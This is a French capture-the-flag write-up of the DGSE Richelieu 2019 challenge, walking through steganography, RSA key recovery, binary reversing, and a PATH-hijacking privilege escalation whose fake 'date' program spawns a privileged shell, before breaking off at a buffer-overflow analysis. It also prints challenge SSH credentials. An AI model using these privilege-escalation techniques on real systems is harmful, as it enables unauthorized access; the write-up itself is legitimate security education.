Inshall'hack
Security if God wills it
Inshall'hack

[FR] Writeup du challenge Richelieu 2019 de la DGSE

En 2019, la DGSE (Direction Générale de la Sécurité Extérieure) a créé un challenge de cybersécurité à résoudre en 3 semaines. Le challenge contenait plusieurs épreuves de web, stéganographie, cryptographie, programmation, reverse-engineering, pwn et système (escalade de privilèges).

Dates : 21/05/2019 – 14/06/2019

Lien : https://www.challengecybersec.fr/

Auteurs : Shutdown & Oik=

Merci à Duty & Antoxyde

Fichiers du challenge

Lien de téléchargement : https://mega.nz/#F!qC4giapK!m9kWkmna_dUhNQO4W3cJdQ

a0bf3ba00d839937266c4adadea9b3bedc9fda4978c8358c77c071c5f2a03052  defi1
ad19d1008423f26779dda1290aeb8fc3aa1a238c26098a92e31a92bd8c7e97ff  defi2
f5ba445040554abbab6b8208942d78f4939018e84e5c86fe327ee464cff54ad3  defi3
55bf0074ef24c4683ed69f4d94a1b4e6062b497464fe5b84cf0f7bcd059e92f4  Richelieu.pdf

TL;DR

Le lien du challenge donnait le chemin d'un fichier PDF contenant une image encodée en base64 et cachée en blanc sur blanc dans le fichier. Dans cette image, à la suite des données JPG, on pouvait trouver et récupérer les données d'une archive ZIP.

L'archive (1) contenait une image chiffré symétriquement avec GPG. Un fichier texte contenant la clé GPG était chiffré en RSA-4096. Une des facteurs premiers de la clé RSA avait été sauvegardé dans un fichier texte et avait subi plusieurs permutations. Il a donc fallu inverser les permutations (programme récursif ou bibliothèque python exrex). Une fois la clé GPG récupérée, il était possible de déchiffrer l'image qui contenait le dump hexadécimal d'un binaire ELF caché en LSB.

Le binaire packé vérifiait un mot de passe en argument qui était stocké en dur et XORé dans la mémoire. Ce mot de passe a servi à extraire le contenu d'une archive ZIP (2) contenue dans la première archive (1).

L'archive (2) contenait un accès SSH defi1. Une escalade de privilèges par PATH hijacking permettait de lire un fichier donnant les accès SSH à un defi2.

Une exploitation d'un binaire SETUID vulnérable à un stack-based buffer overflow et ROP permettait de trouver le contenu d'un fichier donnant les accès SSH à un defi3.

Une exploitation d'un binaire SETUID vulnérable à un heap-based buffer overflow et Use After Free permettait de lire le fichier final contenant un mot de passe et une adresse mail de contact de la DGSE.

Sommaire

Pardon pour ce sommaire bien long, vous irez vous plaindre à la DGSE pour la longueur du challenge 😉

Web : code source

Site web

Le code source de la page contient un bout de script JS qui indique le chemin d'un fichier PDF.

$ curl https://www.challengecybersec.fr/ | tidy
[...]
        let password = "nothing";
        if (login === password) {
            document.location="./Richelieu.pdf";
        }
[...]

$ wget https://www.challengecybersec.fr/Richelieu.pdf

Stéganographie : PDF → JPG → ZIP

Le fichier PDF contient du texte écrit en blanc sur blanc. Ce texte est une image JPEG encodée en base64.

$ wget https://www.challengecybersec.fr/Richelieu.pdf
$ pdftotext Richelieu.pdf
$ base64 -di Richelieu.txt > Richelieu
$ file Richelieu
Richelieu.jpg: JPEG image data, progressive, precision 8, 2110x3508, components 1

$ mv Richelieu Richelieu.jpg

Richelieu.jpg

Une archive ZIP a été cachée dans l'image (concaténation simple). Détection par les magic bytes.

$ hachoir-subfile Richelieu.jpg
[+] Start search on 6693178 bytes (6.4 MB)

[+] File at 445628 size=6247550 (6.0 MB): ZIP archive

[+] End of search -- offset=6693178 (6.4 MB)

On extrait cette archive avec l'outil Foremost.

$ foremost Richelieu.jpg
$ strings output/zip/00000870.zip

[...]

Le mot de passePK
suite.zipUT
de cette archivePK
prime.txtUT
est : DGSE{t.D=@Bx^A%n9FQB~_VL7Zn8z=:K^4ikE=j0EGHqI}PK
public.keyUT

[...]
$ mkdir archive
$ unzip -P "DGSE{t.D=@Bx^A%n9FQB~_VL7Zn8z=:K^4ikE=j0EGHqI}" output/zip/00000870.zip -d archive

Cryptographie : RSA + GPG

L'archive contient plusieurs fichiers dont un suite.zip. Nous allons ici devoir trouver le mot de passe de cette archive pour continuer le challenge.

$ tree
.
├── lsb_RGB.png.enc
├── motDePasseGPG.txt.enc
├── prime.txt
├── public.key
└── suite.zip

$ cat .bash_history
 1337  gpg -o lsb_RGB.png.enc --symmetric lsb_RGB.png
 1338  vim motDePasseGPG.txt
 1339  openssl genrsa -out priv.key 4096
 1340  openssl rsa -pubout -out public.key -in priv.key
 1341  openssl rsa -noout -text -in priv.key | grep prime1 -A 18 > prime.txt
 1342  sed -i 's/7f/fb/g' prime.txt
 1343  sed -i 's/e1/66/g' prime.txt
 1344  sed -i 's/f4/12/g' prime.txt
 1345  sed -i 's/16/54/g' prime.txt
 1346  sed -i 's/a4/57/g' prime.txt
 1347  sed -i 's/b5/cd/g' prime.txt
 1348  openssl rsautl -encrypt -pubin -inkey public.key -in motDePasseGPG.txt -out motDePasseGPG.txt.enc

L'historique bash nous permet de comprendre les choses suivantes 1. Le mot de passe a probablement été cachée avec une technique de stéganographie sur une image png (Least Significant Bit) 2. Cette image a été chiffrée en symétrique (GPG) 3. Le mot de passe utilisé a été sauvegardé dans un fichier 4. Un couple de clés RSA 4096 a été généré 5. Un de facteurs premiers du module a été sauvegardé et a subi quelques permutations 6. Le fichier contenant la clé GPG a été chiffré avec la clé publique

Nous allons donc devoir faire les opérations suivantes 1. Inverser les permutations pour récupérer les 2048 possibilités du facteur premier 2. Trouver le bon 3. Récupérer le module et l'exposant dans la clé publique 4. Trouver (par division) le second facteur 5. Générer la clé privée 6. Déchiffrer le fichier motDePasseGPG.txt.enc avec la clé privée 7. Déchiffrer le fichier lsb_RGB.png.enc avec la clé GPG obtenue

1 → 5 Génération de la clé privée

Méthode 1 : récursivité

Lors des sed -i, on plusieurs permutations a → b mais finalement, ça ne veut pas dire que tous les b étaient des a. On va donc devoir faire une sorte de bruteforce. Pour chaque b présent dans le prime.txt, on doit considérer la possibilité qu'il ait pu être anciennement un a ou non. Soit k le nombre d'apparitions de b dans prime.txt. Pour chaque b, on a deux issues possibles : substituer en a ou conserver b Pour 6 substitutions différentes (notre cas), il faut calculer les apparitions de chaque b et faire la somme. Dans notre cas on a 4*'fb' + 0*'66' + 1*'12' + 1*'54' + 3*'57' + 2*'cb' soit un total de 11 substitutions potentielles. On a alors 2048 possibilités différentes pour prime1.

On peut alors écrire le script suivant pour retrouver prime1.

from Crypto.PublicKey import RSA
import os

file = open('public.key', 'r')
public_key = RSA.importKey(file.read())
file.close()

modulus = public_key.n
public_exponent = public_key.e

encoded_prime1 = '00:fb:40:dc:44:ba:03:d1:53:42:f7:59:08:e0:f9:30:05:96:64:4a:de:94:68:5e:08:e2:8c:9a:b1:64:0c:2f:62:c2:9a:b9:a2:39:82:4b:9e:be:eb:76:ae:6d:87:21:a3:5e:9e:d9:8d:7e:57:38:3e:59:09:34:a5:78:cd:f7:2e:89:5d:5c:37:52:ea:fd:f6:31:cc:ba:d2:d9:60:e4:45:1d:67:76:d2:1f:12:9c:9d:c9:b1:90:45:51:ed:d2:fb:dd:b6:74:b4:99:fb:b1:0a:d9:b7:c2:be:8b:57:07:22:0a:8e:3a:36:ff:6d:c1:1d:63:93:af:cb:4e:c0:47:9f:65:bf:df:e3:f0:5f:1e:98:61:45:74:ec:36:a7:a5:b1:f1:8d:3d:97:6b:5a:82:49:09:00:08:0d:9d:c2:74:57:4e:30:a1:39:68:2f:22:34:71:13:aa:3b:f2:20:4f:8e:10:eb:d4:d0:9b:cd:8c:c2:53:5f:9d:71:13:0c:0f:21:b6:6e:13:39:40:d3:a6:b1:eb:74:ad:dd:0a:29:14:81:b1:90:ad:e0:53:f0:89:c8:00:fe:dc:ad:56:59:fc:28:1d:c0:cf:5e:08:c0:54:33:24:a3:52:bb:f3:25:10:43:c3:73:b8:40:4f:fc:6b:6b:77:bd:5f:22:24:eb:fb:15'

sed = {
    'fb':'7f',
    '66':'e1',
    '12':'f4',
    '54':'16',
    '57':'a4',
    'cd':'b5'
}

def my_replace(a, b, i):
    a = list(a)
    a[i] = b[0]
    a[i + 1] = b[1]
    return "".join(a)

def reverse_sed(a, i):
    global sed
    global y
    if i < len(y):
        z = y[i]
        if a[ z : z + 2 ] in sed:
            tmp = my_replace(a, sed[a[z:z+2]], z)
            tmp_dec = int(tmp.replace(':',''), 16)
            if modulus % tmp_dec == 0:
                print("[+] modulus: " + str(modulus))
                print("[+] pub.exp: " + str(public_exponent))
                print("[+] prime1 : " + str(tmp_dec))
                print("[+] prime2 : " + str(modulus // tmp_dec))
                os.system("/opt/RsaCtfTool/RsaCtfTool.py -n " + str(modulus) + " -p " + str(tmp_dec) + " -q " + str(modulus // tmp_dec) + " -e " + str(public_exponent) + " --private > priv.key")
                print("[+] Private key generated...")
                quit()
            right = reverse_sed(tmp, i+1)
        else:
            right = reverse_sed(a, i+1)
        left = reverse_sed(a, i+1)

y = []
for z in range(len(encoded_prime1)):
    if encoded_prime1[z:z+2] in sed:
        y.append(z)

reverse_sed(encoded_prime1, 0)

On fait d'une pierre deux coups, une fois le facteur trouvé, on a tous les paramètres nécessaires pour générer la clé privée avec la commande suivante (déjà dans le script).

$ rsactftool -n <modulus> -p <prime1> -q <prime2> -e <public_exponent> --private > priv.key

On fait tourner le script.

$ python3 gen_priv_key.py
[+] modulus: 837849563862443268467145186974119695264713699736869090645354954749227901572347301978135797019317859500555501198030540582269024532041297110543579716921121054608494680063992435808708593796476251796064060074170458193997424535149535571009862661106986816844991748325991752241516736019840401840150280563780565210071876568736454876944081872530701199426927496904961840225828224638335830986649773182889291953429581550269688392460126500500241969200245489815778699333733762961281550873031692933566002822719129034336264975002130651771127313980758562909726233111335221426610990708111420561543408517386750898610535272480495075060087676747037430993946235792405851007090987857400336566798760095401096997696558611588264303087788673650321049503980655866936279251406742641888332665054505305697841899685165810087938256696223326430000379461379116517951965921710056451210314300437093481577578273495492184643002539393573651797054497188546381723478952017972346925020598375000908655964982541016719356586602781209943943317644547996232516630476025321795055805235006790200867328602560320883328523659710885314500874028671969578391146701739515500370268679301080577468316159102141953941314919039404470348112690214065442074200255579004452618002777227561755664967507
[+] pub.exp: 65537
[+] prime1 : 31717798413454838971739311391870214101486054474438584033384974797696836002786889741922328038249283935148167589396475764515984792248325276562635675483085593307632384945480084324354199386711259069590701728377654610059849152461565385315663116675949927841648944186909571007960100266136674008112969369512988507367569334838093403144731951113528040013763615354283491955226704334394856253005551393545293491547587439064269735583121706098798182168292621767902095641352443871167789104818694502605762517497996162527138366803593402358312011933528177646501311411008602369245268966975849244259437732574655956250792264392115994984213
[+] prime2 : 26415754111957012456882978698568998595543408604540679602012008905307229528398419508696699258861541673208334031720118065722015191735056250991124159829757615035331104814626815428071461389740988358621575175288995137250131479702118666935818278843603742157096854979085966659730153703721295913600711482578441198179188796849780101926878867272222747848775311501107737838687624647749187764563156054858429897018261077616060929102880860789449995240869652963349913062375402021334173237153511868665597034141167420444312865576543827395764456254276820652449103574192677537410783040227047254038577626347718324544296319787177388746439
[+] Private key generated : priv.key

Méthode 2 : la bibliothèque exrex

Petite astuce trouvée par Oik=, la bibliothèque exrex permettant de générer la liste de prime1 possibles très simplement.

La fin du script est la même que pour la Méthode 1.

from Crypto.PublicKey import RSA
import os
import exrex

file = open('public.key', 'r')
public_key = RSA.importKey(file.read())
file.close()

modulus = public_key.n
public_exponent = public_key.e

possible_primes = list(exrex.generate('00(7f|fb)40dc44ba03d15342f75908e0f9300596644ade94685e08e28c9ab1640c2f62c29ab9a239824b9ebeeb76ae6d8721a35e9ed98d7e(a4|57)383e590934a578(b5|cd)f72e895d5c3752eafdf631ccbad2d960e4451d6776d21f(f4|12)9c9dc9b1904551edd2(7f|fb)ddb674b499(7f|fb)b10ad9b7c2be8b(a4|57)07220a8e3a36ff6dc11d6393afcb4ec0479f65bfdfe3f05f1e98614574ec36a7a5b1f18d3d976b5a82490900080d9dc274(a4|57)4e30a139682f22347113aa3bf2204f8e10ebd4d09b(b5|cd)8cc2535f9d71130c0f21b66e133940d3a6b1eb74addd0a291481b190ade053f089c800fedcad5659fc281dc0cf5e08c0(16|54)3324a352bbf3251043c373b8404ffc6b6b77bd5f2224eb(7f|fb)15'))

for possible_prime in possible_primes:
    tmp_prime = int(possible_prime, 16)
    if modulus % tmp_prime == 0:
        print("[+] modulus: " + str(modulus))
        print("[+] pub.exp: " + str(public_exponent))
        print("[+] prime1 : " + str(tmp_prime))
        print("[+] prime2 : " + str(modulus // tmp_prime))
        os.system("/opt/RsaCtfTool/RsaCtfTool.py -n " + str(modulus) + " -p " + str(tmp_prime) + " -q " + str(modulus // tmp_prime) + " -e " + str(public_exponent) + " --private > priv.key")
        print("[+] Private key generated...")
        quit()

6. Déchiffrement RSA

$ openssl rsautl -decrypt -in motDePasseGPG.txt.enc -out motDePasseGPG.txt -inkey priv.key
$ cat motDePasseGPG.txt
DGSE{Ti,%yei3=stlh_,5@pIrrMU.^mJC:luYbt1Qe_-Y}

7. Déchiffrement GPG

$ gpg -o lsb_RGB.png --passphrase-file motDePasseGPG.txt -d lsb_RGB.png.enc

On obtient l'image suivante.

lsb_RGB.png

Stéganographie : LSB

Extraction de la charge utile

On peut utiliser l'outil de stéganographie zsteg sur l'image pour essayer de repérer des patterns inscrit avec la technique du Least Significant Bit.

$ zsteg -a lsb_RGB.png
imagedata           .. text: "/>/6&,Z6<&"
[...]
b1,r,msb,yx         .. text: "FF@bBBB@BBB"
b1,b,msb,yx         .. text: "\t\t\tASSSSS\t\tI\t\t\t"
b1,rgb,lsb,yx       .. text: "00000000: 7f45 4c46 0201 0103 0000 0000 0000 0000  .ELF............\n00000010: 0200 3e00 0100 0000 107f 4400 0000 0000  ..>.......D.....\n00000020: 4000 0000 0000 0000 0000 0000 0000 0000  @...............\n00000030: 0000 0000 4000 3800 0200 4000 0000 0000  ."
b1,rgb,msb,yx       .. text: "2bttttttttttttP"
[...]

Pour b1,rgb,lsb,yx, on remarque ce qui semble être le début d'un output d'un dump hexa sur un binaire ELF.

$ zsteg lsb_RGB.png -E b1,rgb,lsb,yx > step1_binary.txt

On peut ensuite éditer le fichier obtenu, enlever le trop d'information inutile et convertir le dump hexa pour obtenir le binaire de départ.

$ nano step1_binary.txt
$ head step1_binary.txt
00000000: 7f45 4c46 0201 0103 0000 0000 0000 0000  .ELF............
00000010: 0200 3e00 0100 0000 107f 4400 0000 0000  ..>.......D.....
00000020: 4000 0000 0000 0000 0000 0000 0000 0000  @...............
00000030: 0000 0000 4000 3800 0200 4000 0000 0000  ....@.8...@.....
00000040: 0100 0000 0500 0000 0000 0000 0000 0000  ................
00000050: 0000 4000 0000 0000 0000 4000 0000 0000  ..@.......@.....
00000060: 2487 0400 0000 0000 2487 0400 0000 0000  $.......$.......
00000070: 0000 2000 0000 0000 0100 0000 0600 0000  .. .............
00000080: 2854 0b00 0000 0000 2854 6b00 0000 0000  (T......(Tk.....
00000090: 2854 6b00 0000 0000 0000 0000 0000 0000  (Tk.............

$ xxd -r step1_binary.txt > step1_binary
$ md5sum step1_binary step1_binary.txt
b085579e21b6b29eb6c80cee3a253775  step1_binary
432592312e50f8d35d20e2f0790b7762  step1_binary.txt

Reverse-Engineering

Unpack ALD

$ file step1_binary
binary: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, no section header

$ strings -n 15 step1_binary
[...]

$Info: This file is packed with the ALD executable packer http://upx.sf.net $
$Id: ALD 3.91 Copyright (C) 1996-2013 the ALD Team. All Rights Reserved. $

[...]

D'après quelques strings dans le binaire, il semblerait qu'il soit packé. Ça paraît cohérent avec les erreurs que donne Ghidra lors de l'analyse.

Il s'agirait du packer ALD 3.91 (cf. source).

$ wget https://github.com/upx/upx/releases/download/v3.91/upx-3.91-amd64_linux.tar.bz2
$ cd ../upx-3.91-amd64_linux/
$ ./upx -d ../step1_binary      
[...]
upx: ../step1_binary: NotPackedException: not packed by UPX

Unpacked 0 files.

Il est indiqué que le binaire n'a pas été packé avec l'utilitaire d'UPX. Les strings disent pourtant le contraire. Voyons quelle est la forme d'un binaire packé avec cet utilitaire.

$ cp /bin/ls .
$ upx ls
[...]
    138856 ->     61540   44.32%   linux/amd64   ls                            

Packed 1 file.

$ strings -n 15 ls
[...]
$Info: This file is packed with the UPX executable packer http://upx.sf.net $
$Id: UPX 3.95 Copyright (C) 1996-2018 the UPX Team. All Rights Reserved. $
[...]

Il semblerait qu'une substitution UPX → ALD ait été faite.

Unpack UPX

$ sed -i 's/ALD/UPX/g' ../step1_binary
$ upx -d ../step1_binary
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2018
UPX 3.95        Markus Oberhumer, Laszlo Molnar & John Reiser   Aug 26th 2018

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
    738384 <-    297492   40.29%   linux/amd64   step1_binary

Unpacked 1 file.

Analyse statique

Une fois le binaire dépacké, on le charge dans radare2. On commence par décompiler la fonction main. Il se contente d'afficher l'usage, "Bien joué" si le flag est bon et "Mauvais mot de passe" sinon.

La vérification du mot de passe entré semble se faire via une fonction sub.w0c__:_400aae.

main

La fonction semble effectuer un XOR sur une chaîne. Il pourrait s'agir du flag.

sub.w0c__

[0x00400990]> px 32 @0x4898c0
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x004898c0  7730 6326 5d3a 0e3b 0d4d 2a1f 2e1f 2d4f  w0c&]:.;.M*...-O
0x004898d0  2851 377a 1476 2078 0f21 4d21 6c11 002e  (Q7z.v x.!M!l...
[0x00400990]>

Analyse dynamique

On remarque que l'instruction XOR est précédée, et succédée de deux instructions CMP (comparaison). Nous allons tenter de comprendre le fonctionnement du programme pour retrouver le flag.

$ r2 -d -A step1_binary test
> afl
//Liste des fonctions
0x00400990    1 43           entry0
0x00400aae    9 114          sub.w0c__:_400aae
0x00400b20    6 83           main
0x00401080   66 828          fcn.00401080
0x00407840    3 158          fcn.00407840
0x00408010   30 445  -> 417  fcn.00408010
0x004440f0  296 11505 -> 7157 sub.n_in_writable_segment_detected_4440f

> pdf @ main
//Fonction 'main' désassemblée
/ (fcn) main 83
|   main (int argc, char **argv, char **envp);
|           ; arg int argc @ rdi
|           ; arg char **argv @ rsi
|           ; DATA XREF from entry0 (0x4009ad)
|           0x00400b20      53             push rbx
|           0x00400b21      83ff01         cmp edi, 1                  ; 1 ; argc
|       ,=< 0x00400b24      7e1f           jle 0x400b45
|       |   0x00400b26      488b7e08       mov rdi, qword [rsi + 8]    ; [0x8:8]=-1 ; 8 ; argv
|       |   0x00400b2a      e87fffffff     call sub.w0c__:_400aae
|       |   0x00400b2f      89c3           mov ebx, eax

[...]

Première comparaison

La première comparaison semble vérifier la taille du mot de passe entré. Pour contourner la vérification et ne pas se préoccuper de la taille du flag, on peut changer l'instruction JE (Jump if Equal) en JNE (l'instruction contraire : Jump if Not Equal).

$ r2 -d -A -w ste1_binary aaaa
> pdf @ sub.w0c__:_400aae
//Fonction 'sub.w0c__:_400aae' désassemblée
[...]

> pdf @ sub.w0c__:_400aae
/ (fcn) sub.w0c__:_400aae 114
|   sub.w0c__:_400aae (int arg1);
|           ; arg int arg1 @ rdi
|           ; CALL XREF from main (0x400b2a)
|           0x00400aae      4889fe         mov rsi, rdi                ; arg1
|           0x00400ab1      b800000000     mov eax, 0
|           0x00400ab6      48c7c1ffffff.  mov rcx, -1
|           0x00400abd      f2ae           repne scasb al, byte [rdi]
|           0x00400abf      b800000000     mov eax, 0
|           0x00400ac4      4883f9e0       cmp rcx, -0x20
|       ,=< 0x00400ac8      7402           je 0x400acc
|       |   ; CODE XREF from sub.w0c__:_400aae (0x400b1e)
[...]

> wa jne 0x400acc @ 0x00400ac8
Written 2 byte(s) (jne 0x400acc) = wx 7502

On peut maintenant placer un point d'arrêt (breakpoint) sur l'instruction XOR et exécuter le programme.

> db 0x00400b0d
//Breakpoint à l adresse du XOR

> dc
//Continuer l exécution
hit breakpoint at: 400b0d

> dr ecx
//Afficher le contenu du registre ECX
0x00000052

> dr esi
//Afficher le contenu du registre ESI
0x00000033

Le programme a atteint le point d'arrêt, on a donc contourné la première comparaison.

Le premier caractère de notre entrée est XORé à 0x33. On peut maintenant terminer l'exécution, la relancer, placer un second point d'arrêt à la comparaison suivant le XOR, et voir la valeur attendue.

> ood aaaa
> wa jne 0x400acc @ 0x00400ac8
Written 2 byte(s) (jne 0x400acc) = wx 7502

> db 0x00400b0d 0x00400b0f
> dc
hit breakpoint at: 400b0d

> dr esi
//Clé pour le XOR
0x00000033

> dr ecx
//Premier char de l entrée à XORer
0x00000061

> dc
hit breakpoint at: 400b0f

> dr cl
//CL est la partie basse de RCX, résultat du XOR
0x00000052

> px 1 @ rdx
//Valeur attendue
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x004898c0  77                                       w

Le résultat attendu est w (0x77) et la clé de XOR est 3 (0x33). Le premier caractère est donc D (0x44).

$ print -c 'print chr(0x77 ^ 0x33)'
D

Voyons quelle est la seconde clé de XOR et le caractère attendu.

> ood Daaaa
> wa jne 0x400acc @ 0x00400ac8
Written 2 byte(s) (jne 0x400acc) = wx 7502

> db 0x00400b0d 0x00400b0f
> dc
hit breakpoint at: 400b0d

> dc
hit breakpoint at: 400b0f

> dc
hit breakpoint at: 400b0d

> dr esi
//Clé pour le XOR du second passage
0x00000077

> dr ecx
//Second char de l entrée à XORer
0x00000061

> dc
hit breakpoint at: 400b0f

> dr cl
//Résultat du 2nd XOR
0x00000016

> px 1 @ rdx
//Valeur attendue
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x004898c1  30                                       0

Au XOR on s'aperçoit que le premier caractère de l'entrée est XORé avec 0x33 soit 3 en ASCII.

Au CMP on voit que la comparaison est faite entre le premier caractère de la chaîne w0c&... et le résultat du xor précédent.

Au second XOR, le second caractère de notre input est XORé avec w, soit le premier caractère du flag XORé w0c&....

On peut donc supposer que pour un XOR i, le caractère i de notre entrée est XORé avec le caractère i-1 de la chaîne w0c&....

Opérations inverses

On en sait suffisamment pour créer le script suivant qui XOR la chaîne w0c&... avec les bonnes valeurs afin de retrouver le flag.

from binascii import unhexlify

xored_flag = unhexlify("773063265d3a0e3b0d4d2a1f2e1f2d4f2851377a147620780f214d216c11002e")
print("[+] xored_flag : " + str(xored_flag))

k = 0x33
flag = ""
for xored_char in xored_flag:
    flag += chr(k ^ xored_char)
    k = xored_char

print("[+] flag : " + flag)
$ python3 solve.py
[+] xored_flag : b'w0c&]:\x0e;\rM*\x1f.\x1f-O(Q7z\x14v x\x0f!M!l\x11\x00.'
[+] flag : DGSE{g456@g5112bgyfMnbVXw.llM}.

Unzip suite.zip

Le mot de passe de l'archive suite.zip est donc DGSE{g456@g5112bgyfMnbVXw.llM}. On peut récupérer le contenu suivant.

$ unzip -P "DGSE{g456@g5112bgyfMnbVXw.llM}" suite.zip
Archive:  suite.zip
  inflating: suite.txt

$ cat suite.txt
Suite du challenge Richelieu :

ssh defi1.challengecybersec.fr -l defi1 -p 2222

mot de passe : DGSE{2f77c517b06f1cd1ce864f79f41f25ca8874413c8c1204f7ec9c6728c87f270a}

On obtient des accès SSH pour un utilisateur defi1 sur la machine defi1.challengecybersec.fr.

Privesc système : PATH Hijacking (defi1)

En se connectant en ssh avec le mot de passe DGSE{2f77c517b06f1cd1ce864f79f41f25ca8874413c8c1204f7ec9c6728c87f270a}, on arrive sur le répertoire home de defi1. Voici les fichiers présents :

$ id
uid=1000(defi1) gid=1000(defi1) groups=1000(defi1)

$ pwd
/home/defi1

$ ls -alh
total 44K
drwxr-xr-x 1 defi1         defi1         4.0K May 10 10:50 .
drwxr-xr-x 1 root          root          4.0K May 10 10:50 ..
-rw-r--r-- 1 defi1         defi1          220 May 15  2017 .bash_logout
-rw-r--r-- 1 defi1         defi1         3.5K May 15  2017 .bashrc
-rw-r--r-- 1 defi1         defi1           32 May 10 10:50 .gdbinit
-rw-r--r-- 1 defi1         defi1          675 May 15  2017 .profile
-rw-r--r-- 1 defi1         defi1            7 May 10 10:50 .vimrc
-r-------- 1 defi1-drapeau defi1-drapeau  133 Apr 26 14:06 drapeau.txt
-r-sr-sr-x 1 defi1-drapeau defi1-drapeau 8.6K May 10 10:50 prog.bin

On remarque que le binaire prog.bin est setuid. Lors de son exécution, il prendra les droits de son utilisateur propriétaire defi1-drapeau.

Utilisation normale

$ ./prog.bin
#################################################
##    Bienvenue dans ce lanceur (_wrapper_)    ##
#################################################
Ce logiciel vous permet de lancer ces programmes utiles simplement...
Menu :
   -> 1 : Affichage de la date et de l heure actuelle
   -> 2 : Affichage du nombre de secondes écoulées depuis le 01/01/1970 (Epoch)
   -> 3 : Affichage du train
   -> 4 : Affichage du calendrier du mois en cours
// Option 1
Nous sommes le 24/05/2019 et il est 07:58:37
// Option 2
Nombre de secondes depuis Epoch : 1558684722
// Option 3
// On a un petit train

train.png

// Option 4
      May 2019        
Su Mo Tu We Th Fr Sa  
          1  2  3  4  
 5  6  7  8  9 10 11  
12 13 14 15 16 17 18  
19 20 21 22 23 24 25  
26 27 28 29 30 31  

Exploitation

L'outil de débogage ltrace est disponible sur la machine. Pour la première option du programme prog.bin, le programme effectue un appel à system('date <param>'). Un appel à date (ou autre binaire) sans indiquer de chemin absolu va reposer sur la variable d'environnement PATH pour trouver le binaire en question. Si nous avons la possibilité de changer cette variable, alors nous pouvons faire exécuter un programme malveillant à la place de date.

$ echo $PATH  
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games

$ export PATH=/tmp/shutdown:$PATH

$ echo $PATH
/tmp/shutdown:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games

Nous pouvons bel et bien faire du PATH hijacking puisque nous maîtrisons cette variable d'environnement. On crée donc un répertoire /tmp/shutdown (qu'on ajoute audébut de la variable PATH) contenant un fichier date.c.

$ mkdir /tmp/shutdown
$ cd /tmp/shutdown
$ nano date.c

L'objectif ici étant d'obtenir un shell avec les droits de defi1-drapeau pour lire le fichier drapeau.txt, nous créons le fichier date.c suivant.

#include <stdio.h>

int main(void) {
        system("/bin/bash -p");
        return 0;
}

gcc étant disponible sur la machine, nous pouvons compiler date.c.

$ gcc -o date date.c
$ cd /home/defi1/
$ ./prog.bin
#################################################
##    Bienvenue dans ce lanceur (_wrapper_)    ##
#################################################
Ce logiciel vous permet de lancer ces programmes utiles simplement...
Menu :
   -> 1 : Affichage de la date et de l heure actuelle
   -> 2 : Affichage du nombre de secondes écoulées depuis le 01/01/1970 (Epoch)
   -> 3 : Affichage du train
   -> 4 : Affichage du calendrier du mois en cours
1

$ id
uid=1000(defi1) gid=1000(defi1) euid=1001(defi1-drapeau) egid=1001(defi1-drapeau) groups=1001(defi1-drapeau)

$ cat drapeau.txt
Suite du challenge Richelieu :

ssh defi2.challengecybersec.fr -l defi2 -p 2222

mot de passe : DGSE{H#M?W)el{0YZ-)77/C#ogrp}k4&EbP}

L'escalade de privilèges est réussie, on peut passer à la suite avec le mot de passe DGSE{H#M?W)el{0YZ-)77/C#ogrp}k4&EbP}

Privesc pwn : ROP (defi2)

En se connectant en ssh, on arrive sur le répertoire home de l'utilisateur defi2.

$ id
uid=1000(defi2) gid=1000(defi2) groups=1000(defi2)

$ pwd
/home/defi2

$ ls -alh
total 44K
drwxr-xr-x 1 defi2         defi2         4.0K May 10 09:45 .
drwxr-xr-x 1 root          root          4.0K May 10 09:45 ..
-rw-r--r-- 1 defi2         defi2          220 May 15  2017 .bash_logout
-rw-r--r-- 1 defi2         defi2         3.5K May 15  2017 .bashrc
-rw-r--r-- 1 defi2         defi2           32 May 10 09:45 .gdbinit
-rw-r--r-- 1 defi2         defi2          675 May 15  2017 .profile
-rw-r--r-- 1 defi2         defi2            7 May 10 09:45 .vimrc
-r-------- 1 defi2-drapeau defi2-drapeau  133 Apr 26 14:05 drapeau.txt
-r-sr-sr-x 1 defi2-drapeau defi2-drapeau  11K May 10 09:45 prog.bin

À nouveau, nous avons un fichier drapeau.txt lisible par le propriétaire defi2-drapeau ainsi qu'un binaire exécutable setuid prenant les droits de son propriétaire defi2-drapeau lors de son exécution.

Utilisation normale

Lors de son exécution, le programme demande un couple login:password et évalue la robustesse du mot de passe.

$ ./prog.bin
************************************************
** Vérification du couple login/mot de passe. **
************************************************
login $ shutdown
pass $ shutdown
[-] le mot de passe est compris dans le login (ou l'inverse)
[-] il n'y a pas de nombre
[-] il n'y a pas de majuscule
[-] il n'y a pas de caractère spécial
Pas bon. Il vaudrait mieux utiliser un autre couple login/mot de passe

Exploitation

État de l'art

Dans un premier temps, on remarque que l'exécutable est compilé pour une architecture 64 bits et que la pile (stack) est exécutable.

L'ASLR (Address Space Layout Randomization) est activée sur le système. C'est une technique permettant de placer de façon aléatoire les zones de données dans la mémoire virtuelle.

$ ssh defi2.challengecybersec.fr -l defi2 -p 2222
[...]

$ file prog.bin
prog.bin: setuid, setgid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f7039455e0209df5f5eee33830212b3746b016e8, stripped

$ readelf -l prog.bin | grep -A 1 GNU_STACK
  GNU_STACK      0x0000000000000000 0x0000000000000000 0x0000000000000000
                 0x0000000000000000 0x0000000000000000  RWE    0x10

$ checksec prog.bin
[...]
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

$ cat /proc/sys/kernel/randomize_va_space
2

Stack-based Buffer overflow

Login : fgets()

Lors de l'exécution du programme, la fonction sub.login_40086d est appelée.

sub.login

